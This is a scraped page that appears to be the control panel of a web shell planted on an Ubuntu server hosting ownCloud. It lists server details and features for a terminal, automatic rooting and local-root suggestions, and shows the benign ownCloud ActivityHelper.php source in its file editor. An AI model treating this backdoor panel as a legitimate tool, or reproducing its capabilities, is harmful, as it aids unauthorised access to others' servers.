Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
apps /
files /
lib /
Delete
Unzip
Name
Size
Permission
Date
Action
AppInfo
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
BackgroundJob
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
Command
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
Controller
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
Service
[ DIR ]
drwxr-xr-x
2018-04-19 18:15
Activity.php
12.15
KB
-rw-r--r--
2018-04-19 18:15
ActivityHelper.php
2.23
KB
-rw-r--r--
2018-04-19 18:15
App.php
1.58
KB
-rw-r--r--
2018-04-19 18:15
Capabilities.php
1.62
KB
-rw-r--r--
2018-04-19 18:15
Helper.php
7.97
KB
-rw-r--r--
2018-04-19 18:15
Save
Rename
<?php /** * @author Joas Schilling <coding@schilljs.com> * * @copyright Copyright (c) 2018, ownCloud GmbH * @license AGPL-3.0 * * This code is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License, version 3, * along with this program. If not, see <http://www.gnu.org/licenses/> * */ namespace OCA\Files; use OCP\Files\Folder; use OCP\ITagManager; class ActivityHelper { /** If a user has a lot of favorites the query might get too slow and long */ const FAVORITE_LIMIT = 50; /** @var \OCP\ITagManager */ protected $tagManager; /** * @param ITagManager $tagManager */ public function __construct(ITagManager $tagManager) { $this->tagManager = $tagManager; } /** * Returns an array with the favorites * * @param string $user * @return array * @throws \RuntimeException when too many or no favorites where found */ public function getFavoriteFilePaths($user) { $tags = $this->tagManager->load('files', [], false, $user); $favorites = $tags->getFavorites(); if (empty($favorites)) { throw new \RuntimeException('No favorites', 1); } else if (isset($favorites[self::FAVORITE_LIMIT])) { throw new \RuntimeException('Too many favorites', 2); } // Can not DI because the user is not known on instantiation $rootFolder = \OC::$server->getUserFolder($user); $folders = $items = []; foreach ($favorites as $favorite) { $nodes = $rootFolder->getById($favorite); if (!empty($nodes)) { /** @var \OCP\Files\Node $node */ $node = array_shift($nodes); $path = substr($node->getPath(), strlen($user . '/files/')); $items[] = $path; if ($node instanceof Folder) { $folders[] = $path; } } } if (empty($items)) { throw new \RuntimeException('No favorites', 1); } return [ 'items' => $items, 'folders' => $folders, ]; } }